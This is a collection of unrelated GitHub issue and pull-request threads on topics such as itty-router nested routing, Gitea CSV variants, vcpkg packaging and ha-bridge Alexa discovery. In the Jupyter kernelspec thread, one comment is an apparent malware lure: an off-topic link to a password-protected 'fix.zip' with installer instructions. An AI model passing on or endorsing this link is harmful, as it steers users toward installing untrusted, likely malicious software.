In my case this was critical, I have a TcpServer who open a redis connection, and after 10 sec of idle, connection was closed and not reopen on tcp client, but the most strange, there where not any errors or exceptions the new tcp client just hang.

@umbri The loop is probably stopped because you don't have write / read watchers on your TcpServer?


Support ASV and USV like CSV

Feature Description
CSV is already supported. Similar support for ASV and USV would be great. https://github.com/sixarm/usv
Screenshots
No response

There are numerous variants to CSV, like TSV (tabs), PSV (pipe). Maybe the separator characters should be configurable 😆.

There are numerous variants to CSV, like TSV (tabs), PSV (pipe). Maybe the separator characters should be configurable 😆.

I think maybe we can have a guess.

Yeah, some of these formats have well-known file extensions, so it should be possible.

I already have implemented this:
https://github.com/go-gitea/gitea/blob/712e19fa6fbf2f1a5b0a471782d38a7d91e538ae/modules/csv/csv.go#L53
May have to re-check when we try to create a csv reader.


chore(deps): bump http-cache-semantics from 4.1.0 to 4.1.1

What does it do?

Refactors the popover to be more composable
exposes the layers as components (Content / Scrolling)
Converts to TS

Why is it needed?

Some instances of the popover do not want a scrollable container nor do they want the default padding

How to test it?

Unit testing

@ronronscelestes you'll then need to do something like this:
import { Portal, PopoverPrimitives } from '@strapi/design-system'

const MyComponent = () => {
	return (
		<Portal>
			<PopoverPrimitives.Content>

hey, listen!

			</PopoverPrimitives.Content>
		</Portal>
	)
}


DeviantArt won't download past the first page of a gallery

Once the newest 24 images are downloaded, RipMe believes it is at 100% and stops. Is there a configuration to make sure the entire gallery downloads?

Please provide an example URL for troubleshooting.

Example
Well, this is weird. I deleted the old files and tried it again, and now it's downloading the rest of the gallery, too. I guess all I had to do was try again? Thanks anyway!


BAU Collapsable JSON details

hide JSON detail objects by default, user should focus on core details and only look in details for more advanced usages
add macro to remove duplication across pages

@kbottla @jankowiakmaria https://github.com/alphagov/pay-toolbox/pull/195/commits/edb4c9d4475b868f3fb4a0370e91dcc3c235b042


[3fd] Initial port of 3FD project

Initial port of 3FD to vcpkg. Currently, the project does not support building with static linkage to CRT. The user is expected to create its own tripplet specifying dynamic linkage to CRT and static linkage to the library itself. The only supported platform so far is Windows, because it depends on POCO that currently does not build successfully by vcpkg in Linux.

Project being merged:
https://github.com/faburaya/3fd

Thanks for the PR!
While merging, I made a few tweaks and fixes:

I fixed vcpkg_build_msbuild() to actually give you the current triplet instead of some other triplet (oops!)
I hit a compile error when using the latest VS2017, but it's a really simple fix (see patch)
We conventionally do allow ports that can only build statically to be built that way in dynamic triplets -- the "non-negotiable" setting is the CRT linkage for obvious reasons :)
Generally, use STREQUAL over MATCHES; for example, I don't believe you intended to map arm64 to ARM :)
Added build-from-clean every time to ensure we don't accidentally leak bits between builds
Windows desktop maps to VCPKG_CMAKE_SYSTEM_NAME not being set, so I took advantage of that to explicitly add errors for all other settings

Thanks again for the PR and for exercising some lesser-used pieces! If you're interested, I'd love to chat a bit at<EMAIL_ADDRESS>about your experience packaging your own library :)

Great, Robert. Thanks for you service in open source!
Yes, I can write about my experience to<EMAIL_ADDRESS>Should I use some reference number in the message subject for identification?

Sure, if you could just throw PR #3811 in there that would be great!


Nested routers ergonomics

Related to #171 so not exactly an issue, since I think the documentation is pretty clear. But I really don't like having to declare the full path of nested routes. In my opinion, it greatly diminishes the usefulness of having nested routes at all.
Would you consider adding another method to Router, something like sub(router: Router), that walks through the child router's methods and attaches them to the parent router prepending the parent's base path?
If adding new methods to Router is a concern due to its minimal size, an alternative would be to create an auxiliary method like nest(parent: Router, child: Router) which does the same as described above — but that's a lot less elegant and is incompatible with the chaining API.
Another alternative is a new Router class that extends the minimal one (IttyRouter for the minimal one and BittyRouter for the extended one?), which adds the sub method described above. Since the original Router is untouched, the new class can be intended as the "batteries included" use case and other goodies like withParams can be included as well.

Yeah,

Related to #171 so not exactly an issue, since I think the documentation is pretty clear. But I really don't like having to declare the full path of nested routes. In my opinion, it greatly diminishes the usefulness of having nested routes at all.
Would you consider adding another method to Router, something like sub(router: Router), that walks through the child router's methods and attaches them to the parent router prepending the parent's base path?

The solution here isn't [likely] a new method... it's the fundamental path-matching itself, and how deep it's bakes into the router.  One of the major issues here is that functions are passed around inside itty without awareness of which router they came from.  For instance, when you do this:
router.all('/api/*', otherRouter.handle)

You aren't passing the subrouter in, but rather the handle function itself.  This handle function has no awareness of either its own router (upstream), or the outside router that called it (further upstream).

If adding new methods to Router is a concern due to its minimal size, an alternative would be to create an auxiliary method like nest(parent: Router, child: Router) which does the same as described above — but that's a lot less elegant and is incompatible with the chaining API.

The issue is not just the size from adding a method, it's breaking the very structure of the router proxy apart enough to add custom logic into it.  Because this pathing logic is deep within the core of itty itself, it's also not a trivial thing to merely wrap as an extended router.  Totally agree it would be nice (and the base path requirement is very non-standard from what folks expect coming from other routers).  I've tried before on this challenge though, and will continue to see if I can solve it in an elegant way.
The next issue you would have though is all the existing routers out there - and how to handle their explicit base path vs the "new" style of auto-generating them (assuming you got past the size issue).  I don't think you'd want to support both simultaneously in different routers either.  So this would be arguably a "better" solution, but likely would be a drastically breaking change - which everyone hates for pretty obvious reasons.

Another alternative is a new Router class that extends the minimal one (IttyRouter for the minimal one and BittyRouter for the extended one?), which adds the sub method described above. Since the original Router is untouched, the new class can be intended as the "batteries included" use case and other goodies like withParams can be included as well.

Working on this one right now actually (it definitely includes withParams, auto formatting, error catching, etc)... hang tight!

What's wrong with something like:
/**
 * @param {RouterType} router
 * @param {RouterType} child
 */
function nest(router, child) {
  for (let [method, regex, handlers, path] of child.routes) {
    router[method](path, ...handlers);
  }
}

In line with the suggestion 3), this is what it would look like (and seems to work) but it would probably be nicer in typescript instead of using jsdoc annotations:
import { Router } from 'itty-router';

/**
 * @typedef {Object} BittyRouterOptions
 * @property {((...args: any[]) => Response)[]} middlewares default middlewares for all routes.
 */

/**
 * @typedef {Object} BittyRouterType
 * @property {import('itty-router').RouteEntry[]} routes
 * @property {(path: string, ...handlers: import('itty-router').RouteHandler[]) => BittyRouterType} all
 * @property {(path: string, ...handlers: import('itty-router').RouteHandler[]) => BittyRouterType} delete
 * @property {(path: string, ...handlers: import('itty-router').RouteHandler[]) => BittyRouterType} get
 * @property {(path: string, ...handlers: import('itty-router').RouteHandler[]) => BittyRouterType} head
 * @property {(path: string, ...handlers: import('itty-router').RouteHandler[]) => BittyRouterType} options
 * @property {(path: string, ...handlers: import('itty-router').RouteHandler[]) => BittyRouterType} patch
 * @property {(path: string, ...handlers: import('itty-router').RouteHandler[]) => BittyRouterType} post
 * @property {(path: string, ...handlers: import('itty-router').RouteHandler[]) => BittyRouterType} put
 * @property {(child: import('itty-router').RouterType | BittyRouterType, subpath: string?) => BittyRouterType} nest
 */

/**
 * Builds a Router with nested routing capabilities.
 * @param {BittyRouterOptions & import('itty-router').RouterOptions} options
 * @returns {BittyRouterType}
 */
export function BittyRouter(options = { middlewares: [] }) {
  const router = Router(options);

  for (let method of ['all', 'delete', 'get', 'head', 'options', 'patch', 'post', 'put']) {
    const fn = router[method];
    router[method] = (path, ...handlers) => fn(path, ...(options.middlewares || []), ...handlers);
  }

  /**
   * @param {import('itty-router').RouterType} child
   * @param {string?} subpath path relative to `base` for nested routes to be mounted.
   */
  router.nest = function (child, subpath) {
    for (let [method, , handlers, path] of child.routes) {
      router[method]((subpath || '') + path, ...handlers);
    }
    return router;
  };

  return router;
}

Not sure if you've seen the PR here (https://github.com/kwhitley/itty-router/pull/208), but I'm working on a solution to this.
The end effect is code like this:
const childRouter = Router()
                       .get('/', () => 'child')

const parentRouter = Router()
                       .get('/', () => 'parent')
                       .all('/child/*', childRouter) // passing the router, not the handle

The issue with the wrapper function mechanism you're proposing (and honestly a huge difficulty in general with implementing this, period), is that the regex to match is completely built at the time of route-creation.  This becomes non-trivial to intercept and manipulate after-the-fact (like when being executed from within another route handler).
So far with that PR, for ~50 bytes, we have:

the ability to pass routers as handlers, not just handles/handlers/middleware
the ability to skip base paths when the nested route is simple (e.g. no route params in the path to the child router)
for utmost speed, child base paths should still be used
when you have route params or other advanced routes in the path to the child router, still have to use the base path

I'm not sure I understand what you mean by intercepting and manipulating the route. When a route is created, the original path is stored unmodified which lets you ignore the regex. Even better, by adding the child routes to the parent directly, you get even more speed (one less layer of indirection) than passing a child handle to the parent.
The sample code above is iterating over the child routes and adding them to the parent as the parent's routes.

Ahhh I see what you're doing - makes sense.
That said, by registering the child routes directly on the parent it may be faster, or may be slower.  For very few routes (overall) it would likely be faster by unrolling the nesting - but when branching big routers, you can skip past entire (potentially huge) subtrees with a single regex check (where it doesn't go into the child router).
That said, I really do like your mechanism for iterating over the routes directly.  It could potentially solve the issue where I can't handle advanced nesting routes, as the regex would be automatically recreated.  I'm thinking by simply recreating the entire child router and attaching the handle, I cover all the cases, still keep the branching performance advantage, and may even save some bytes.
Back to experimenting! :)

After many passes, there's just not a byte-friendly and performance-friendly way to do this (that I've found).
Ultimately, in #208 I can get a relatively basic nesting working without base paths, but it comes with caveats (base paths are still more performant, base paths are required for fancier nesting routes, both options would need to be supported/documented instead of just one, etc).
My leaning is: shelve this for now... itty is one of the most performant edge serverless routers out there, period - largely due to its low byte size.  This adds roughly 60 bytes for a slightly better ergo/DX in some cases (but still not recommended), yet adds no new functionality over what was available before.  We def have to weigh the upside/downside on each of these choices, esp knowing once we pull the trigger, we're committed to supporting it going forward.
Benchmarks
https://github.com/TigersWay/cloudflare-playground

Until we find a more universal, low-byte, and performant means to do this, we're shelving this along with #208 for now.  I'll love to revisit this if things change (because ofc it bugs all of us a little bit).


Respect JUPYTER_DATA_DIR for kernelspec location

As described in the Jupyter documentation, the location for kernels and other data files can be overridden to use a custom path with the env variable JUPYTER_DATA_DIR. However, this extension only looks for kernelspec in a hard-coded path depending on the platform (found here). This causes kernelspecs to not be found by this extension in this location.
I think the extension should overwrite the default location if the environment variable is set.

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Please could you enable logging as follows:

Open settings & go into Jupyter->Logging
Change the value to trace
Reload VS Code,
Attempt to repro the issue & then copy the output from the Jupyter output panel (use the command Jupyter: Show Output to get to the logs).


Pin crc32c to a newer working version

Motivation and Context
https://github.com/smithy-lang/smithy-rs/issues/3672
Description
Pin to a newer working version of crc32c (will still pin to a particular version to avoid a breaking change, until the lockfile protection is available)
Testing

Verified locally build of aws-smithy-checksums with the updated crc32c

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

Do we want to loosen this to 0.6.8 rather than =0.6.8 given pending lockfile adoption?

Will keep = just in case until lockfile adoption is fully in place.


Alex not discovering new devices

Alexa will not discover new devices.  I use ha-bridge with several devices using the Vera Plus hub.  I recently had to replace one of these devices due to failure (zwave switch) and I cannot get Alexa to discover the new device.  I have gone into ha-bridge and added the device and it appears in the bridge device list.  I can turn the device off and on using the ha-bridge controls.
I was running 5.3.1 and have tried teh 5.3.1RC1 with no change.  I have deleted the device from ha-bridge and re-added it.   I have tried discovery with several of my echos ( I have 5 or so different vintage).  I have used the Amazon app to rediscover a device.  No change.
I have read through the other posted issues that had similar problems, but it does not seem that any of these ever have a resolution that works for all.
I do not want to delete all devices and re-add because the rest are working well and I do not want to take the risk that no device will be re-added.
I am using port 80, I did add a new Vera scene about 2 or 3 weeks ago and that worked.
I do have UPNP tracing turned on and attached the debug log.  I asked Alexa to discover around 12:42:30 and it said complete around 12:43:17 with no new devices.
habridge debug.txt

Additional info:  <IP_ADDRESS> is a harmony hub; <IP_ADDRESS> is the ha-bridge server (windows 10).

Update:  I was able to get everything working again.  After much digging into related issues and much troubleshooting, Amazon has now recognized my new devices.  What resolved the issues?  Here are the steps that I took that I believe made it work:
Using the Amazon app (or web) devices page, I deleted duplicate devices (some labeled as Phillips Royal) and the duplicate entry   identified as (offline).  I deleted all of the offline duplicates which resulted in the deletion of all of the devices.
Attempting to perform Amazon discovery at this point still did not work.   I now had my worst fear with all of my ha-bridge devices missing...
I then renumbered my devices in ha-bridge and changed the starting index from 200 to 300.  I now had new numbered ha-bridge devices.  I then performed a Amazon discovery and all of my devices were found!!!!.  I even renamed a device in ha-bridge and a Amazon discovery found the new name for the device.
I am still perplexed as to why this makes it work.  It must have something to do with the index numbers and if there is some conflict due to duplicates that is not obvious from web device view or the App device view.
Anyways my wife is happy once again.  I greatly appreciate the time and effort that goes into this product and am willing to help support this in the future with anything I can do.  I am retiring soon (EE) and love  to poke around in programming, networking,etc and will have plenty of time to do so.


allow building against distributed-process 0.7

This is required for GHC 8.2 support.

Thanks, sorry for not reacting in time :/

Can we expect a corresponding hackage release for 0.3.4? If there is something to do prior to release, I am willing to work on it.

@agentm I'll try to push it on 13-14.06.2018, if I have enough hackage priviledges.  I think no special work in needed

Done, feel free to open an issue if you still have any problems!